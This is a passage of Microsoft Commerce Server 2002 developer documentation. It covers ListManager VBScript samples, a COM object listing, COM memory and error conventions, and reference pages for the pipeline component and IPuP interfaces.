  2. Copy the list, 'Users1', created in Code to Create a List, to the new list.
    oListManager.Copy "Users1", vListID2, False
  3. Delete three members from the 'Users2' list.
    oListManager.RemoveUserFromMailingList "Users2", _
 "barneyuser@fabrikam.com"

oListManager.RemoveUserFromMailingList "Users2", _
 "jackuser@vigorairlines.com"

oListManager.RemoveUserFromMailingList "Users2", _
 "jilluser@microsoft.com"
  4. Add two new users to the 'Users2' list.
    oListManager.AddUserToMailingList "Users2", _
 "janeuser@fabrikam.com", Newuser_F554

oListManager.AddUserToMailingList "Users2", _
 "freduser@vigorairlines.com", Newuser_V919
  5. Perform a union and a subtraction on the 'Users1' and 'Users2' lists. The lists holding the results of the union and subtraction operations must exist prior to running the methods. The results are shown in the following table.
    oListManager.CreateEmpty "Union", "Unique users", 20, 0
oListManager.CreateEmpty "Subtract", "Remaining users", 20, 0
oListManager.Union "Users1", "Users2", "Union", 0, False
oListManager.Subtract "Users1", "Users2", "Subtract", 0, False
    Users1 | Users2 | Union | Subtract
    joeuser@roguecellars.com | joeuser@roguecellars.com | joeuser@roguecellars.com | barneyuser@fabrikam.com
    barneyuser@fabrikam.com | bettyuser@arborshoes.com | barneyuser@fabrikam.com | jackuser@vigorairlines.com
    bettyuser@arborshoes.com | janeuser@fabrikam.com | bettyuser@arborshoes.com | jilluser@microsoft.com
    jackuser@vigorairlines.com | freduser@vigorairlines.com | jackuser@vigorairlines.com
    jilluser@microsoft.com | jilluser@arborshoes.com
    janeuser@fabrikam.com
    freduser@vigorairlines.com
  6. Export the Union list to a SQL Server database table named NewUsers, overwriting any previous data. Once the operation is complete, delete the list.
    sConnect = "Provider=sqloledb;Data Source=TequillaServer;" & _
 "Initial Catalog=Margaritas;Integrated Security='SSPI'"

oListManager.ExportToSQL "Union", sConnect, "NewUsers", True, 0, False

oListManager.Delete "Union"


Code to Enumerate Available Lists

This section describes how to enumerate the available lists and change the properties of one of the lists, such as the list name and description.

  1. Using the initialized ListManager object, oListManager, created in Code to Initialize the ListManager Object, retrieve the Recordset object containing the lists.
    Dim rsLists
Set rsLists = oListManager.GetLists()
  2. Iterate through the list descriptions searching for the list described as Unique users. When found, change the name to UserFamily, change the description, and add some flags. Note that the recordset returned by the GetLists method is read-only.
    Dim vListID
While Not rsLists.EOF
   If rsLists("list_description") = "Unique users" Then
      vListID = rsLists("list_id")
      oListManager.SetListProperty vListID, "list_name", "UserFamily"
      oListManager.SetListProperty vListID, "list_description", _
       "Members of the User family"
      oListManager.SetListProperty vListID, "list_userflags", 255       Exit While
   rsLists.MoveNext
Wend


Alphabetic Listing of COM Objects

This list contains all of the COM objects available in Commerce Server 2002. The object reference pages and the associated code samples are grouped by functionality on COM Object Reference.

Visual Basic Reference | C++ Invocation | Description
AdminEventLog | AdminEventLog | Writes error, informational, warning, and success messages to the event log.
AdminFiles | AdminFiles | Provides read-only access to server-side binary and text files.
AdminSite | AdminSite | Provides read/write access to site configuration properties and allows site administration. This object is supplied for backward compatibility purposes only.
AdminWebServer | AdminWebServer | Allows enumeration of Web sites and their properties.
AppConfig | AppConfig | Allows retrieval of country, region codes, and names from the site configuration store.
AppFrameWork | AppFrameWork | Provides formatting and validation methods that simplify forms processing in Active Server Pages (ASP).
AsyncRpt2 | AsyncRpt2 | Provides asynchronous rendering and exporting of static reports.
Auction | Auction | Provides methods for supporting auctions.
AuthManager | AuthManager | Provides a secure, standardized, and extensible way to manage authentication of users.
BDSecurity | BDSecurity | Allows specific Commerce Server Business Desk modules to be hidden from particular users.
BusinessDataAdmin2 | BusinessDataAdmin2 | Imports and exports profile catalogs from the business data store.
CacheManager | CacheManager | Provides generic caching services.
CatalogManager | CatalogManager | Allows management of catalogs across the entire Product Catalog System.
CatalogSets | CatalogSets | Allows filtering of multiple custom catalogs for different users and organizations.
CatalogSets2 | CatalogSets2 | Allows filtering of multiple custom catalogs for different users and organizations.
CatalogToVendorAssociation | CatalogToVendorAssociation | Allows a catalog to be associated with particular vendor.
Category | Category | Allows management of a product hierarchy within a particular catalog.
ContentList | ContentList | Contains a representation of each content item eligible for a given request for content. Also provides services to Content Selection Framework (CSF) components such as filtering and sorting.
ContentListFactory | ContentListFactory | Allows creation of ContentList objects, and stores data shared by those objects.
ContentListSchema | ContentListSchema | Allows manipulation of the schema for a ContentListFactory object.
ContentSelector | ContentSelector | Allows specification and retrieval of page content.
DataFunctions | DataFunctions | Provides methods to perform locale-based data type handling and value range checking.
DBStorage | DBStorage | Provides methods for mapping Dictionary and SimpleList objects to and from a database, primarily for the storage of receipt and order information.
Dictionary | Dictionary | Supports the creation, storage, and retrieval of name/value pairs in memory.
DictionaryXMLTransforms | DictionaryXMLTransforms | Transforms data in a Dictionary object into Extensible Markup Language (XML), and XML data into a Dictionary object.
DTSCacheWarmer | DTSCacheWarmer | Pre-executes dynamic OLAP reports stored in the Data Warehouse in order for the query results to be cached on the OLAP server.
DTSCatalogImport | DTSCatalogImport | Imports catalog data into the Data Warehouse.
DTSDeleteImport | DTSDeleteImport | Deletes log file data and summarized data from the Data Warehouse.
DTSIPResolution | DTSIPResolution | Resolves Internet Protocol (IP) addresses from the imported user data.
DTSLogImport | DTSLogImport | Defines and imports Web log files into the Data Warehouse.
DTSMarketingImport | DTSMarketingImport | Imports information about ad and discount campaigns into the Data Warehouse.
DTSPostImport | DTSPostImport | Populates OLAP cubes with the data that was imported, prepares the imported data for report generation, and refreshes the OLAP cubes after a deletion.
DTSPredictor | DTSPredictor | Rebuilds prediction and segment models.
DTSSyncAdminData | DTSSyncAdminData | Synchronizes the Data Warehouse with your Commerce Server application after you make changes to configuration settings.
DTSTransactionImport | DTSTransactionImport | Runs reports to analyze transaction data.
DTSUPMCustomTask | DTSUPMCustomTask | Imports user profile data into the Data Warehouse.
EuroDisplay | EuroDisplay | Converts and formats currency amounts for use where multiple currencies must be displayed.
ExpressionEval | ExpressionEval | Allows selection and evaluation of one or more expressions against a set of profiles.
ExpressionStore | ExpressionStore | Provides methods to create, save, modify, and retrieve expressions.
ExprEvalContext | ExprEvalContext | Stores a specific evaluation context (set of profiles) that can be used for multiple expression evaluation operations.
ExprFltrQueryBldr | ExprFltrQueryBldr | Translates an expression in XML form into a SQL filter query string.
GenID | GenID | Provides methods to generate globally unique identifiers (GUID), and to create and maintain multiple, global sequential counters which are persisted in a database.
GlobalConfig | GlobalConfig | Provides methods for the configuration management of global resources.
GlobalConfig2 | GlobalConfig2 | Provides methods for the configuration management of global resources, including several methods not included in the GlobalConfig object.
ListManager | ListManager | Provides methods to create, destroy, manage, and manipulate lists.
LRUCache | LRUCache | Provides a least recently used (LRU) cache for the CacheManager object. It stores a limited number of entries and sorts them according to the least recently used element.
MessageManager | MessageManager | Stores text strings in multiple languages. One usage involves the Order Processing pipeline (OPP) components describing error conditions generated during order form processing.
MicroPipe | MicroPipe | Runs a single pipeline component from an ASP page without using a pipeline configuration file (.pcf).
MigrationLogObj | MigrationLogObj | Writes migration log data to the data store.
MigrationMainObj | MigrationMainObj | Coordinates migration from the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.
MigrationModifyObj | MigrationModifyObj | Changes data that has been read from the Site Server 3.0 Commerce Edition Membership Directory before it is migrated to the Commerce Server 2002 Profile data store.
MigrationReadObj | MigrationReadObj | Reads values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory, then sends them to the MigrationProfile object.
MigrationWriteObj | MigrationWriteObj | Writes the values for each attribute in the Site Server 3.0 Commerce Edition Membership Directory to the Commerce Server 2002 Profile data store.
MtsPipeline | MtsPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline.
MtsTxPipeline | MtsTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline.
OrderForm | OrderForm | Provides in-memory storage of user and purchase information.
OrderGroup | OrderGroup | Allows management of complex orders, such as those containing items from different suppliers, and multiple shipments.
OrderGroupManager | OrderGroupManager | Provides methods to manage OrderGroup and OrderForm objects.
OrderPipeline | OrderPipeline | Runs a Microsoft Commerce Server 2002 pipeline, and is particularly useful in the Content Selection Framework.
Page | Page | Provides formatting and validation methods that simplify forms processing in ASP pages. This object is supplied for backward compatibility purposes only.
PooledPipeline | PooledPipeline | Executes a non-transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
PooledTxPipeline | PooledTxPipeline | Executes a transacted Microsoft Commerce Server 2002 pipeline that uses COM+ object pooling for better performance.
PredictorClient | PredictorClient | Provides methods for downloading prediction models, setting prediction context, and performing predictions.
PredictorServiceAdmin | PredictorServiceAdmin | Allows retrieval of prediction models and prediction model configurations.
PredictorServiceSiteAdmin | PredictorServiceSiteAdmin | Allows management of prediction models and prediction model configurations.
PredModelBuilder | PredModelBuilder | Provides properties and methods to control multiple build threads of prediction models.
Product | Product | Allows manipulation of the relationships between a product variant and a product category.
ProductCatalog | ProductCatalog | Allows creation, deletion, and modification of catalog data.
ProfileObject | ProfileObject | Provides run-time read/write access to profile property data and read-only access to property attributes.
ProfileService | ProfileService | Allows creation, deletion, and retrieval of instances of profile schemas.
ReportRenderer | ReportRenderer | Provides synchronous rendering and exporting of static reports.
RowCollection | RowCollection | Allows enumeration of the rows returned from the ActiveRows and AllRows properties, and the Search method, of a ContentList object, and from the AllRows property and the Search method of a ContentListFactory object.
Shipping | Shipping | Creates shipping cost preview information.
ShippingMethodManager | ShippingMethodManager | Allows management of multiple shipping methods.
SimpleFindResultInfo | SimpleFindResultInfo | Allows the specification of search criteria when using the OrderGroup and OrderGroupManager objects.
SimpleFindSearchInfo | SimpleFindSearchInfo | Allows the specification of search criteria when performing search and delete operations using the OrderGroup and OrderGroupManager objects.
SimpleList | SimpleList | Allows creation of an array of Variants that supports enumeration.
SiteConfig | SiteConfig | Provides for configuration management of site resources.
SiteConfigReadOnly | SiteConfigReadOnly | Provides methods to read global and site configuration values from the Administration database.
StandardSManager | StandardSManager | Facilitates the run time creation and retrieval of user IDs. This object is supplied for backward compatibility purposes only.


Managing COM Parameter Memory

This topic provides some high-level information about memory ownership issues as they pertain to parameters passed into and out of the properties and methods of Component Object Model (COM) objects.

Additional, more detailed information can be found at http://go.microsoft.com/fwlink/?LinkId=5161.

Parameter Direction Summary

The following general statements apply to the various types of non-scalar parameters, such as objects, and to strings, when passed into and out of the methods and properties of a COM object:

  • For [in] parameters, the caller allocates memory and is also responsible for freeing the memory after the call has returned.
  • For [out] parameters, the method or property allocates the memory and the caller is responsible for freeing the memory.
  • For [in, out] parameters, the caller allocates memory, the method or property can optionally deallocate and reallocate it, and the caller is finally responsible for deleting the memory.

Visual Basic

If you are programming in either Microsoft Visual Basic (VB) or Visual Basic Scripting Edition (VBScript), you need to remember that if a method or property returns an object and you assign a reference to that object to a variable, then you should set the variable to Nothing when you are done with it. For example:

' Assume object oCalledObject already exists.
Dim oRetObject
oCalledObject.GetAnObject(oRetObject)

' Do something with the returned object.
oRetObject.DoSomething

' Release the reference to the returned object.
Set oRetObject= Nothing

C++

If you are programming in C++, keep in mind the following issues:

  • When passing a string to a method (including get_ and put_ property methods), as a BSTR, you own the BSTR both before and after the call. If the object needs to remember the string, it will make a copy. Allocate and deallocate BSTRs from the special heap designed for that purpose, using the SysAllocString and SysFreeString family of functions.
  • When a string is returned from a method (including get_ and put_ property methods), using the BSTR pointer you provide, you now own the returned BSTR and are responsible for deallocating it using the SysFreeString family of functions. Note that the method allocated the BSTR and you are going to deallocate it.
  • Simple scalar types are passed by value, so there is nothing special to do with respect to their associated memory.
  • When a COM object (a pointer to one of its interfaces) is passed as a parameter to a method, the normal COM AddRef and Release mechanism is used to manage the lifetime of that object. The caller of the method should have called the AddRef method (perhaps indirectly) prior to the method call, and should call the Release method whenever it no longer needs to reference the object, presumably sometime after the method call has returned.

    If the object needs to retain a reference to the object beyond the return of the method call, it will call the AddRef method to record its ongoing reference. This way, even if the caller of the method calls the Release method after the method returns, the object will retain its reference and the object will not be deleted.

  • When a COM object (a pointer to one of its interfaces) is returned from a method, using the provided address of an interface pointer, the method will have called the AddRef method on behalf of the caller prior to returning. The caller need only worry about calling the Release method when they are finished with the object.
  • SAFEARRAYs need to be allocated using the special OLE allocators from the SafeArrayCreate family of routines that are provided for this purpose. For scriptable objects, the contents of the safe arrays need to be variants, not other scalars like BSTRs.
  • VARIANTs have special helper functions in the VariantInit/VariantClear family of functions to help with the handling and freeing of values.


Standard COM Errors

Many, but not all, of the properties and methods of the Commerce Server objects use standard Component Object Model (COM) HRESULT return values to communicate whether the operation was successful or not.

In C++, these values are the actual return values from the methods themselves (including property get_ and put_ methods). The program must explicitly perform error checking by examining these return values, or use some variation of structured error handling.

In Microsoft Visual Basic, and in Visual Basic Scripting Edition as used in Active Server Pages (ASP), these values are placed in the Number property of the global Err object. Error handling is either handled automatically, displaying a standard error dialog box, or explicitly by the program, checking the value of the Number property of the global Err object. The On Error Resume Next command disables automatic error handling, thereby enabling explicit error handling.

The following table shows the most common standard COM errors returned by the properties and methods of the Commerce Server objects.

Constant | Value (32-bit) | Description
S_OK | 00000000 | The standard return value used to communicate successful completion.
S_FALSE | 00000001 | An alternate success value, typically used to communicate successful, but non-standard completion. The precise meaning depends on the method or property in question.
E_UNEXPECTED | 8000FFFF | Catastrophic failure error.
E_NOTIMPL | 80004001 | Not implemented error.
E_OUTOFMEMORY | 8007000E | Out of memory error.
E_INVALIDARG | 80070057 | One or more arguments are not valid error.
E_NOINTERFACE | 80004002 | Interface not supported error.
E_POINTER | 80004003 | Pointer not valid error.
E_HANDLE | 80070006 | Handle not valid error.
E_ABORT | 80004004 | Operation aborted error.
E_FAIL | 80004005 | Unspecified error.
E_ACCESSDENIED | 80070005 | General access denied error.

Additional information may be available using the global Err object. In Visual Basic, the Description property of the Err object may contain a text description of the error.

In C++, call the API function GetErrorInfo to retrieve the most recently set IErrorInfo pointer in the current logical thread. The GetDescription method of that interface may return a text description of the error.


Interface Reference

Microsoft Commerce Server 2002 Enterprise Edition can be extended programmatically by building Component Object Model (COM) objects that support specific interfaces. This allows them to be called in a standard fashion. Such objects fall into the following two categories:

  1. Pipeline Components

    Pipeline components implement one or more specific interfaces, allowing them to be run in the context of Commerce Server pipelines, and to be configured and included in pipeline configurations through the Pipeline Editor. For more information about pipelines and their various uses within Commerce Server, see Working with Pipelines.

  2. Site Packager Components

    Commerce Server Site packager components implement the IPuP interface, allowing them to be invoked by Site Packager so that they can package and unpack custom data. Typically, this is configuration information for custom resources that store their data somewhere other than the Administration database (MSCS_Admin).

    For general information about the integration of custom resources, see Integrating Custom Resources.

    For more specific information about packaging and unpacking data stored somewhere other than the Administration database, see Packaging Other Data.

The generic persistence interfaces are a third category of standard COM interfaces that can be implemented by Commerce Server COM objects. Pipeline components often implement one or more of these interfaces. Some of these persistence interfaces are implemented by other COM objects supplied with Commerce Server. For example, the Dictionary object implements the IPersistXML interface, allowing the contents of a Dictionary object to be persisted as an XML-formatted string in a specific format. Conversely, the Dictionary object can also be initialized based on the contents of an XML-formatted string in a particular format.

This section provides more information about these interfaces so that they can be implemented by new COM objects of the relevant types.

This section contains:

  • Pipeline Component Interfaces. Describes the pipeline component interfaces through which a COM component can serve as a Commerce Server pipeline component.
  • Site Packager Interface. Describes the site packager interface through which a COM object can be told to package or unpack custom data.
  • Generic Persistence Interfaces. Describes the generic persistence interfaces through which a COM object can be told to save its data as an XML-formatted string, as a Dictionary object, or to a stream.


Pipeline Component Interfaces

Microsoft Commerce Server 2002 defines a set of Component Object Model (COM) interfaces known as pipeline interfaces. In addition, pipeline components often implement one or more generic persistence interfaces defined by Commerce Server, as well as the standard OLE interfaces ISpecifyPropertyPages and IPersistStreamInit.

Every pipeline component must support the IPipelineComponent interface. Without this interface, a Commerce Server pipeline will not be able to execute the component. The remaining interfaces are optional. They expose various types of functionality that allow new components to fit smoothly into the Commerce Server architecture.

The following table lists the required IPipelineComponent interface and the other optional interfaces.

Interface | Description
IPipelineComponent | Executes the component. This interface is required.
IPipelineComponentAdmin | Sets and retrieves the properties on a component using a Dictionary object. This interface is optional.
IPipelineComponentDescription | Uses a SAFEARRAY to identify the OrderForm object and PipeContext object elements that a component reads and writes. This interface is optional.
IPipelineComponentUI | Displays a dialog box for configuring a pipeline component. This interface is optional.
ISpecifyPipelineComponentUI | Determines the object that will be invoked through the IPipelineComponentUI interface to display the dialog box for the component. This interface is optional.
ISpecifyPropertyPages | Indicates that the object supports property pages. This is a standard OLE interface. This interface is optional.
IPersistStreamInit | Persists the data associated with an object to a stream. This is the form of persistence used in the Active Template Library (ATL) Pipeline Wizard. This is a standard OLE interface. This interface is optional.
IPersistDictionary | Persists the data associated with an object to a Dictionary object. This is a generic persistence interface defined by Commerce Server. This interface is optional.


IPipelineComponent Interface

All pipeline components must implement the IPipelineComponent interface, passing an OrderForm object interface pointer between each component. If a component returns an error, the pipeline may terminate execution and return an error to the caller.

The IPipelineComponent interface supports the following methods:

Method | Description
Execute | The entry point at which the pipeline begins executing the component.
EnableDesign | Sets the design mode on the component.

Remarks

For more information about IPipelineComponent interface code generated by the Active Template Library (ATL) Pipeline Component Wizard, see Implementing the IPipelineComponent Interface.

Header: pipecomp.h

Type Library: Microsoft Commerce 2000 Order Pipeline Type Library (pipeline.dll)

IDL File: Pipecomp.idl


IPipelineComponent::Execute Method

Use this method to execute a pipeline component.

Definition

HRESULT Execute(
..IDispatch* pDispOrder,
..IDispatch* pDispContext,
..long lFlags,
..long* plErrorLevel
);

Parameters

pDispOrder
[in] A pointer to the OrderForm object.
pDispContext
[in] A pointer to the Context object. This is a Dictionary object that contains pointers to the MessageManager object, Content object, and language information.
lFlags
[in] Reserved. This parameter should be zero (0).
plErrorLevel
[out, retval] A flag that indicates what level of errors is tolerated. See the Remarks section for information about the legal values for this parameter.

This error information is meant to supplement the HRESULT information that is returned. The pipeline maps errors returned from components (E_xxxx errors) to an error level of 2.

Remarks

The plErrorLevel parameter can be one of the following values:

Value | Meaning
1 | Success. No errors, component executed successfully.
2 | Warning. Basket or purchase errors for this operation.
3+ | Failure. Serious errors in execution of this component.

For more information about IPipelineComponent interface code generated by the Active Template Library (ATL) Pipeline Component Wizard, see Implementing the IPipelineComponent Interface.

Return Values

The method returns an HRESULT value.

See Also

IPipelineComponent Interface


IPipelineComponent::EnableDesign Method

Use this method to prepare the component for execution in one of two modes: design mode or execution mode. In design mode, which is useful for running the Pipeline Editor, errors are more easily tolerated. Execution mode (the default) is analogous to production mode.

Definition

HRESULT EnableDesign(
  BOOL fEnable
);

Parameters

fEnable
[in] Indicates whether the component should be run in design mode (True) or execution mode (False).

Return Values

The method returns an HRESULT value.

Remarks

For more information about IPipelineComponent interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Implementing the IPipelineComponent Interface.

See Also

IPipelineComponent Interface


IPipelineComponentAdmin Interface

To support third-party components in the Pipeline Editor, components must provide their own user interface code. The IPipelineComponentAdmin interface, in combination with the IPipelineComponentUI and IPipelineComponentSpecifyUI interfaces, provides an alternative to using the ISpecifyPropertyPages interface.

The IPipelineComponentAdmin interface supports the following methods:

Method | Description
GetConfigData | Returns a Dictionary object that contains the configuration settings for a component.
SetConfigData | Sets the configuration settings on a component using the contents of a Dictionary object.

Remarks

For more information, see Deciding Which Interface to Expose.

Header: pipecomp.h

Type Library: Microsoft Commerce Pipeline StdRetComp Type Library (stdretcomp.dll)

IDL File: Pipecomp.idl


IPipelineComponentAdmin::GetConfigData Method

This method returns an IDictionary pointer for the user interface to read the configuration data for the component.

Definition

HRESULT GetConfigData(
  IDispatch** ppDict
);

Parameters

ppDict
[out] A pointer to an object from which the user interface can read the configuration data (typically using the IDictionary interface).

Return Values

The method returns an HRESULT value.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

IPipelineComponentAdmin Interface

IPipelineComponentAdmin::SetConfigData


IPipelineComponentAdmin::SetConfigData Method

This method takes a pointer to an object containing the configuration information for the component. This object must implement the IDictionary interface.

Definition

HRESULT SetConfigData(
  IDispatch* pDict
);

Parameters

pDict
[in] An interface pointer to the object containing the configuration information.

Return Values

The method returns an HRESULT value.

Remarks

For more information, see Deciding Which Interface to Expose.

See Also

IPipelineComponentAdmin Interface

IPipelineComponentAdmin::GetConfigData


IPipelineComponentDescription Interface

The IPipelineComponentDescription interface makes it possible for pipeline components to identify the values that they read from the pipeline context, and the keys and values that they read from or write to the OrderForm object.

Although pipeline components are not required to implement the IPipelineComponentDescription interface, implementing this interface makes it possible for the Pipeline Editor to identify and display the elements that your component reads or writes. This information can help developers who are troubleshooting a pipeline configuration.

The IPipelineComponentDescription interface supports the following methods:

Method | Description
ContextValuesRead | Returns a SAFEARRAY VARIANT that identifies the pipeline context values that the component reads.
ValuesRead | Returns a SAFEARRAY VARIANT that identifies the values that the component reads.
ValuesWritten | Returns a SAFEARRAY VARIANT that identifies the values that the component writes.

The methods defined in the IPipelineComponentDescription interface all take a single parameter: the address of a VARIANT out-value. The VARIANT that the IPipelineComponentDescription methods store in this address must contain a SAFEARRAY of VARIANTs that contain a BSTR variable. These BSTR variables identify the values read from or written to the pipeline context or the OrderForm object. Because the VARIANTs in this SAFEARRAY contain simple BSTR variables, you can conceivably store any kind of string information in these BSTR variables. However, for the sake of aiding developers who are attempting to troubleshoot their pipeline configurations, it is recommended that you initialize these BSTR variables to reference only elements of the PipeContext object or the OrderForm object.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Enhancing Component Usability.

Header: pipecomp.h

Type Library: Microsoft Commerce Pipeline StdRetComp Type Library (stdretcomp.dll)

IDL File: Pipecomp.idl


IPipelineComponentDescription::ContextValuesRead Method

This method returns a VARIANT that contains a SAFEARRAY of VARIANTs. Each of the VARIANTs in this SAFEARRAY contains a BSTR that identifies the PipeContext object elements that the component reads.

Definition

HRESULT ContextValuesRead(
  VARIANT* pVar
);

Parameters

pVar
[out, retval] The address to which the method returns a VARIANT. This VARIANT contains a SAFEARRAY of VARIANTs, each of which contains a BSTR that identifies the elements that a component reads from the PipeContext object.

Return Values

If the function implementation does not return S_OK, the Pipeline Editor ignores the contents of the returned VARIANT variable.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Enhancing Component Usability.

See Also

IPipelineComponentDescription Interface


IPipelineComponentDescription::ValuesRead Method

This method identifies the keys and values that a component reads from the OrderForm object.

Definition

HRESULT ValuesRead(
  VARIANT* pVar
);

Parameters

pVar
[out, retval] The address to which the method returns a VARIANT. This VARIANT contains a SAFEARRAY of VARIANTs, each of which contains a BSTR that identifies the keys and values that a component reads from the OrderForm object.

Return Values

If the function implementation does not return S_OK, the Pipeline Editor ignores the contents of the returned VARIANT.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see the Enhancing Component Usability.

See Also

IPipelineComponentDescription Interface

IPipelineComponentDescription::ValuesWritten


IPipelineComponentDescription::ValuesWritten Method

This method identifies the keys and values that a component modifies in the OrderForm object.

Definition

HRESULT ValuesWritten(
  VARIANT* pVar
);

Parameters

pVar
[out, retval] The address to which the method returns a VARIANT. This VARIANT contains a SAFEARRAY of VARIANTs, each of which contains a BSTR that identifies the modified keys and values.

Return Values

If the function implementation does not return S_OK, the Pipeline Editor ignores the contents of the returned VARIANT.

Remarks

For more information about IPipelineComponentDescription interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see Enhancing Component Usability.

See Also

IPipelineComponentDescription Interface

IPipelineComponentDescription::ValuesRead


IPipelineComponentUI Interface

The IPipelineComponentUI interface is implemented to allow a pipeline component to display a dialog box for configuration values. The interface is implemented by a separate Component Object Model (COM) object that displays the dialog box.

The IPipelineComponentUI interface supports the following method:

Method | Description
ShowProperties | Called by the Pipeline Editor to display the dialog box for the component.

Remarks

Header: pipecomp.h

Type Library: Microsoft Commerce 2000 Order Pipeline Type Library (pipeline.dll)

IDL File: Pipecomp.idl


IPipelineComponentUI::ShowProperties Method

This method is called to display the configuration dialog box for a pipeline component.

Definition

HRESULT ShowProperties(
  IDispatch* pdispComponent
);

Parameters

pdispComponent
[in] A pointer to an IPipelineComponentAdmin interface.

Return Values

Returns S_OK if the dialog box was displayed and configuration values set.

Remarks

The object implementing this interface first gets the configuration Dictionary object using the IPipelineComponentAdmin::GetConfigData method. It then uses these values to fill in the dialog box. When the user is finished with the dialog box, the object sets the configuration values using the IPipelineComponentAdmin::SetConfigData method.

See Also

IPipelineComponentUI Interface

ISpecifyPipelineComponentUI Interface


ISpecifyPipelineComponentUI Interface

The ISpecifyPipelineComponentUI interface is used by a pipeline component to specify the Component Object Model (COM) object that implements the IPipelineComponentUI interface that gets and sets configuration values.

The ISpecifyPipelineComponentUI interface supports the following method:

Method | Description
GetPipelineComponentUIProgID | Used by the pipeline component to specify the component that displays the configuration dialog box by implementing the IPipelineComponentUI interface.

Remarks

Header: pipecomp.h

Type Library: Microsoft Commerce 2000 Order Pipeline Type Library (pipeline.dll)

IDL File: Pipecomp.idl


ISpecifyPipelineComponentUI::GetPipelineComponentUIProgID Method

This method is used by the pipeline component to specify the component that displays the configuration dialog box by implementing the IPipelineComponentUI interface.

Definition

HRESULT GetPipelineComponentUIProgID(
  BSTR* pbstrProgID
);

Parameters

pbstrProgID
[out, retval] A pointer to a BSTR string used to return the programmatic identifier (ProgID) of the component that displays the configuration dialog box of the component.

Return Values

Returns S_OK if the ProgID was retrieved.

See Also

ISpecifyPipelineComponentUI Interface

IPipelineComponentUI Interface


ISpecifyPropertyPages Interface

The ISpecifyPropertyPages interface is a standard Win32 OLE interface. You implement this interface to allow the pipeline administration tool to invoke the property page user interface of the component. For more information about the ISpecifyPropertyPages interface, see the OLE Programmer's Reference.

The ISpecifyPropertyPages interface supports the following method:

Method | Description
GetPages | Fills in an array of class identifiers (CLSID) where each CLSID is the CLSID of a property page that can be displayed in the property sheet for this object.

Remarks

For more information about ISpecifyPropertyPages interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see MinMaxShip Sample Pipeline Component.

Header: ocidl.h

IDL File: ocidl.idl


ISpecifyPropertyPages::GetPages Method

This method fills a counted array of universally unique identifier (UUID) values where each UUID specifies the class identifier (CLSID) of a particular property page that can be displayed in the property sheet for this object.

The CAUUID structure is caller-allocated, but is not initialized by the caller. The ISpecifyPropertyPages::GetPages method fills the cElements field in the CAUUID structure. This method also allocates memory for the array pointed to by the pElems field in the CAUUID structure using the CoTaskMemAlloc method. Then, it fills the newly allocated array. After this method returns successfully, the structure contains a counted array of UUIDs, each UUID specifying a property page CLSID.

Definition

HRESULT GetPages(
  CAUUID* pPages
);

Parameters

pPages
[out] A pointer to a caller-allocated CAUUID structure that must be initialized and filled before returning. The pElems field in the CAUUID structure is allocated by the callee with the CoTaskMemAlloc method and freed by the caller with the CoTaskMemFree method.

Return Values

The method returns an HRESULT value.

Remarks

The CAUUID structure is defined as follows:

typedef struct tagCAUUID
{
    ULONG       cElems;
    GUID FAR *  pElems;
} CAUUID;
cElems
The size of the array pointed to by the pElems array.
pElems
A pointer to an array of UUID values, each of which specifies a CLSID of a particular property page. This array is allocated by the callee using the CoTaskMemAlloc method and is freed by the caller using the CoTaskMemFree method.

For more information about ISpecifyPropertyPages interface code generated by the Active Template Library (ATL) and the Pipeline Component Wizard, see MinMaxShip Sample Pipeline Component.

See Also

ISpecifyPropertyPages Interface


Site Packager Interface

Custom resources can be packaged into a file. A package is a specially formatted Commerce Server file. Each package is identified with a .pup extension. A package always contains a single site, which includes resource configuration data and the applications of a Commerce site. It can also include whatever files each resource chooses to package, though no special processing (such as DLL registration) will be performed during unpacking.

Custom resources do not necessarily need to do anything to be included in the packaging process. If the custom resource stores its data in the Commerce Server Administration database, that data will automatically be packaged. For more information about this low development effort approach, see Levels of Intregration for a Custom Resource.

If your custom resource stores its configuration data outside of the Administration database, or if you want other files to be included in the package, you must generally develop a custom Component Object Model (COM) component that participates in the packaging and unpacking process. For example, if your resource depends on data being placed in the Site Configuration Store, the custom COM component you develop will perform that function.

In limited circumstances, the GenericPuP object can be used instead of a newly developed COM component. For more information about using this object, see Using the GenericPuP Object.

If you must develop a custom COM component to participate in the packaging process, it must implement the IPuP interface.

The ProgIDs of custom COM components that implement the IPuP interface must be placed in the appropriate tables within the Administration database in order to be invoked.

The methods of the IPuP interface to be implemented by your custom COM component are shown in the following table.

Method | Description
CreateGroupResource | Called to create the connection between a global resource and the site-level reference to that resource. Called in conjunction with the Import method if the resource is a global resource.
Delete | Called by the Commerce Server Manager to delete custom site resource data from a computer. It also removes the configuration data for this resource from the Administration database. This method should perform whatever is required to properly delete data associated with the corresponding site resource.
DeleteGroupResource | Called to delete custom global resource data from a computer. It also removes the configuration data for this resource from the Administration database. This method should perform whatever is required to properly delete data associated with the corresponding global resource.
Export | Called to allow the custom COM component to place the files to be packaged into a specified location.
Import | Called to allow the custom COM component to retrieve the files that were packaged from a specified location.


IPuP::CreateGroupResource

If your custom resource is a global resource, you must implement this method. Since the packaged site is, by definition, using your global resource, the site must be provided with a site-level object that refers to your global resource. This method must perform the necessary processing.

When the f_ResourceFlags column indicates a global resource (the corresponding bit mask constant is IS_REFTOGROUPRES), this method is called before the Import method is called. This method is not called for site resources.

Site Packager will call this method, indicating the site name and the name of the custom resource, as it is known at the site level. Your implementation must create the global resource, and then return its name. Site Packager can then create the link between the site-level representation of the global resource, and the actual global resource. Then Site Packager will call the Import method to import any data associated with the custom global resource.

Definition

HRESULT CreateGroupResource(
  BSTR szSiteName,
  BSTR szResourceName,
  BSTR szConnStr,
  BSTR szPath,
  BOOL bSilent,
  BSTR* szGroupResourceName
);

Parameters

szSiteName
[in] A BSTR that contains the name of the site being unpacked.
szResourceName
[in] A BSTR that contains the name of the custom resource.
szConnStr
